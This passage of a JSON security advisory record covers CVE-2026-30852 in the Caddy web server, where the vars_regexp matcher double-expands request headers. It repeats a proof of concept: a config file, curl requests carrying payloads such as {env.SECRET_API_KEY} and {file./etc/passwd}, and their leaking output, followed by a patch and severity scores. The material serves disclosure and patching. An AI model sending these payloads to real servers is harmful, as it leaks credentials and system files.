HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 13\n<\nLeaked: hello\n```\n\n```\n$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.HOME}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 20\n<\nLeaked: /Users/test\n```\n\n```\n$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.SECRET_API_KEY}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 34\n<\nLeaked: sk-PRODUCTION-abcdef123456\n```\n\n```\n$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {file./etc/hosts}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 10\n<\nLeaked: ##\n```\n\nAlso works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc.\n\nDebug log (server starts clean, no errors):\n```\n{\"level\":\"info\",\"ts\":1771456228.917303,\"msg\":\"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1771456228.917334,\"msg\":\"GOMEMLIMIT is updated\",\"GOMEMLIMIT\":15461882265,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1771456228.9173398,\"msg\":\"using config from file\",\"file\":\"config.json\"}\n{\"level\":\"warn\",\"ts\":1771456228.917349,\"logger\":\"admin\",\"msg\":\"admin endpoint disabled\"}\n{\"level\":\"info\",\"ts\":1771456228.917928,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0x340775faa300\"}\n{\"level\":\"warn\",\"ts\":1771456228.920725,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1771456228.920738,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1771456228.920741,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"info\",\"ts\":1771456228.9210382,\"msg\":\"autosaved config (load with --resume flag)\"}\n{\"level\":\"info\",\"ts\":1771456228.921052,\"msg\":\"serving initial configuration\"}\n```\n\n### Impact\n\nInformation disclosure. An attacker can leak:\n- Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.)\n- File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`)\n- System info (`{system.hostname}`, `{system.os}`, `{system.wd}`)\n\nRequires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.\n\nSuggested one-line fix:\n```diff\n--- a/modules/caddyhttp/vars.go\n+++ b/modules/caddyhttp/vars.go\n@@ -334,7 +334,7 @@\n \t\t\tvarStr = fmt.Sprintf(\"%v\", vv)\n \t\t}\n\n-\t\tvalExpanded := repl.ReplaceAll(varStr, \"\")\n+\t\tvalExpanded := varStr\n \t\tif match := val.Match(valExpanded, repl); match {\n \t\t\treturn match, nil\n \t\t}\n```\n\nThis makes `vars_regexp` consistent with `header_regexp` and `path_regexp`. Placeholder key resolution (lines 315-318) is unaffected.\n\nTested on latest main commit at `95941a71` (2026-02-17).\n\n**AI Disclosure:** Used Claude (Anthropic) during code review and testing. All findings verified manually.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-m2w3-8f23-hxxf.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.7.5 to before version 2.11.2, the vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info. This issue has been patched in version 2.11.2.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30852"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.7.5 to before version 2.11.2, the vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info. This issue has been patched in version 2.11.2.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30852"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.7.5 to before version 2.11.2, the vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info. This issue has been patched in version 2.11.2.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-30852"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nThe `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.\n\n`header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior.\n\n### Details\n\nThe bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`:\n\n```go\nvalExpanded := repl.ReplaceAll(varStr, \"\")\nif match := val.Match(valExpanded, repl); match {\n```\n\nWhen the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there.\n\nFor comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion.\n\nThis `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.\n\n\n*Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:**\n\nConfig with both matchers on the same server:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [{\"path\": [\"/header_regexp\"], \"header_regexp\": {\"X-Input\": {\"name\": \"hdr\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"header_regexp: {http.regexp.hdr.0}\"}]\n            },\n            {\n              \"match\": [{\"path\": [\"/vars_regexp\"], \"vars_regexp\": {\"{http.request.header.X-Input}\": {\"name\": \"var\", \"pattern\": \".+\"}}}],\n              \"handle\": [{\"handler\": \"static_response\", \"body\": \"vars_regexp: {http.regexp.var.0}\"}]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\n```\n$ export SECRET=supersecretvalue123\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.HOME}                           # literal string, safe\n\n$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: /Users/test                           # expanded — env var leaked\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {env.SECRET}                         # literal string, safe\n\n$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: supersecretvalue123                    # secret leaked\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp\nheader_regexp: {file./etc/hosts}                    # literal string, safe\n\n$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp\nvars_regexp: ##                                     # file contents leaked\n```\n\n### PoC\n\nSave this as `config.json`:\n```json\n{\n  \"admin\": {\"disabled\": true},\n  \"apps\": {\n    \"http\": {\n      \"servers\": {\n        \"srv0\": {\n          \"listen\": [\":8080\"],\n          \"routes\": [\n            {\n              \"match\": [\n                {\n                  \"vars_regexp\": {\n                    \"{http.request.header.X-Input}\": {\n                      \"name\": \"leak\",\n                      \"pattern\": \".+\"\n                    }\n                  }\n                }\n              ],\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"Result: {http.regexp.leak.0}\"\n                }\n              ]\n            },\n            {\n              \"handle\": [\n                {\n                  \"handler\": \"static_response\",\n                  \"body\": \"No match\",\n                  \"status_code\": \"200\"\n                }\n              ]\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\nStart Caddy:\n```bash\nexport SECRET_API_KEY=sk-PRODUCTION-abcdef123456\ncaddy run --config config.json\n```\n\nRequests and output:\n\n```\n$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: hello\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 13\n<\nLeaked: hello\n```\n\n```\n$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.HOME}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 20\n<\nLeaked: /Users/test\n```\n\n```\n$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {env.SECRET_API_KEY}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 34\n<\nLeaked: sk-PRODUCTION-abcdef123456\n```\n\n```\n$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n> GET / HTTP/1.1\n> Host: 127.0.0.1:8080\n> User-Agent: curl/8.7.1\n> Accept: */*\n> X-Input: {file./etc/hosts}\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Wed, 18 Feb 2026 23:15:45 GMT\n< Content-Length: 10\n<\nLeaked: ##\n```\n\nAlso works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc.\n\nDebug log (server starts clean, no errors):\n```\n{\"level\":\"info\",\"ts\":1771456228.917303,\"msg\":\"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1771456228.917334,\"msg\":\"GOMEMLIMIT is updated\",\"GOMEMLIMIT\":15461882265,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1771456228.9173398,\"msg\":\"using config from file\",\"file\":\"config.json\"}\n{\"level\":\"warn\",\"ts\":1771456228.917349,\"logger\":\"admin\",\"msg\":\"admin endpoint disabled\"}\n{\"level\":\"info\",\"ts\":1771456228.917928,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0x340775faa300\"}\n{\"level\":\"warn\",\"ts\":1771456228.920725,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1771456228.920738,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1771456228.920741,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"info\",\"ts\":1771456228.9210382,\"msg\":\"autosaved config (load with --resume flag)\"}\n{\"level\":\"info\",\"ts\":1771456228.921052,\"msg\":\"serving initial configuration\"}\n```\n\n### Impact\n\nInformation disclosure. An attacker can leak:\n- Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.)\n- File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`)\n- System info (`{system.hostname}`, `{system.os}`, `{system.wd}`)\n\nRequires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.\n\nSuggested one-line fix:\n```diff\n--- a/modules/caddyhttp/vars.go\n+++ b/modules/caddyhttp/vars.go\n@@ -334,7 +334,7 @@\n \t\t\tvarStr = fmt.Sprintf(\"%v\", vv)\n \t\t}\n\n-\t\tvalExpanded := repl.ReplaceAll(varStr, \"\")\n+\t\tvalExpanded := varStr\n \t\tif match := val.Match(valExpanded, repl); match {\n \t\t\treturn match, nil\n \t\t}\n```\n\nThis makes `vars_regexp` consistent with `header_regexp` and `path_regexp`. Placeholder key resolution (lines 315-318) is unaffected.\n\nTested on latest main commit at `95941a71` (2026-02-17).\n\n**AI Disclosure:** Used Claude (Anthropic) during code review and testing. All findings verified manually.",
                    "title": "github - https://api.github.com/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "description",
                    "text": "Caddy's vars_regexp double-expands user input, leaking env vars and files in github.com/caddyserver/caddy",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4644.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.7.5 to before version 2.11.2, the vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info. This issue has been patched in version 2.11.2.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30852.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00039",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "5.5",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to an uncommon product vendor, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5767823",
                    "CSAFPID-5700154",
                    "CSAFPID-5700155",
                    "CSAFPID-5700156",
                    "CSAFPID-5700157",
                    "CSAFPID-5700158",
                    "CSAFPID-5700159",
                    "CSAFPID-5700160",
                    "CSAFPID-5700161",
                    "CSAFPID-5700162",
                    "CSAFPID-5700163",
                    "CSAFPID-5700164",
                    "CSAFPID-5700165",
                    "CSAFPID-5700166",
                    "CSAFPID-5700167",
                    "CSAFPID-5700168",
                    "CSAFPID-5700169",
                    "CSAFPID-5700170",
                    "CSAFPID-5700171",
                    "CSAFPID-5700172",
                    "CSAFPID-5700173",
                    "CSAFPID-5700174",
                    "CSAFPID-5700175",
                    "CSAFPID-5700176",
                    "CSAFPID-5700177",
                    "CSAFPID-5735034",
                    "CSAFPID-5735035",
                    "CSAFPID-5735036",
                    "CSAFPID-5735037",
                    "CSAFPID-5737655",
                    "CSAFPID-5737656",
                    "CSAFPID-5737657",
                    "CSAFPID-5737658",
                    "CSAFPID-5737659",
                    "CSAFPID-5737660",
                    "CSAFPID-5737661",
                    "CSAFPID-5737662",
                    "CSAFPID-5737663",
                    "CSAFPID-5737664",
                    "CSAFPID-5737665",
                    "CSAFPID-5737666",
                    "CSAFPID-5737667",
                    "CSAFPID-5737668",
                    "CSAFPID-5737669",
                    "CSAFPID-5737670",
                    "CSAFPID-5737671",
                    "CSAFPID-5737672",
                    "CSAFPID-5737673",
                    "CSAFPID-5737674",
                    "CSAFPID-5909376",
                    "CSAFPID-5909377"
                ],
                "known_not_affected": [
                    "CSAFPID-1390593"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-m2w3-8f23-hxxf.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30852"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30852"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-30852"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30852.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30852"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-30852"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4644.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30852.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/pull/5408"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.2"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-m2w3-8f23-hxxf"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30852"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30852.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5700154",
                        "CSAFPID-5700155",
                        "CSAFPID-5700156",
                        "CSAFPID-5700157",
                        "CSAFPID-5700158",
                        "CSAFPID-5700159",
                        "CSAFPID-5700160",
                        "CSAFPID-5700161",
                        "CSAFPID-5700162",
                        "CSAFPID-5700163",
                        "CSAFPID-5700164",
                        "CSAFPID-5700165",
                        "CSAFPID-5700166",
                        "CSAFPID-5700167",
                        "CSAFPID-5700168",
                        "CSAFPID-5700169",
                        "CSAFPID-5700170",
                        "CSAFPID-5700171",
                        "CSAFPID-5700172",
                        "CSAFPID-5700173",
                        "CSAFPID-5700174",
                        "CSAFPID-5700175",
                        "CSAFPID-5700176",
                        "CSAFPID-5700177",
                        "CSAFPID-5735034",
                        "CSAFPID-5735035",
                        "CSAFPID-5735036",
                        "CSAFPID-5735037",
                        "CSAFPID-5737655",
                        "CSAFPID-5737656",
                        "CSAFPID-5737657",
                        "CSAFPID-5737658",
                        "CSAFPID-5737659",
                        "CSAFPID-5737660",
                        "CSAFPID-5737661",
                        "CSAFPID-5737662",
                        "CSAFPID-5737663",
                        "CSAFPID-5737664",
                        "CSAFPID-5737665",
                        "CSAFPID-5737666",
                        "CSAFPID-5737667",
                        "CSAFPID-5737668",
                        "CSAFPID-5737669",
                        "CSAFPID-5737670",
                        "CSAFPID-5737671",
                        "CSAFPID-5737672",
                        "CSAFPID-5737673",
                        "CSAFPID-5737674",
                        "CSAFPID-5767823",
                        "CSAFPID-5909376",
                        "CSAFPID-5909377"
                    ]
                }
            ],
            "title": "CVE-2026-30852"
        }
    ]
}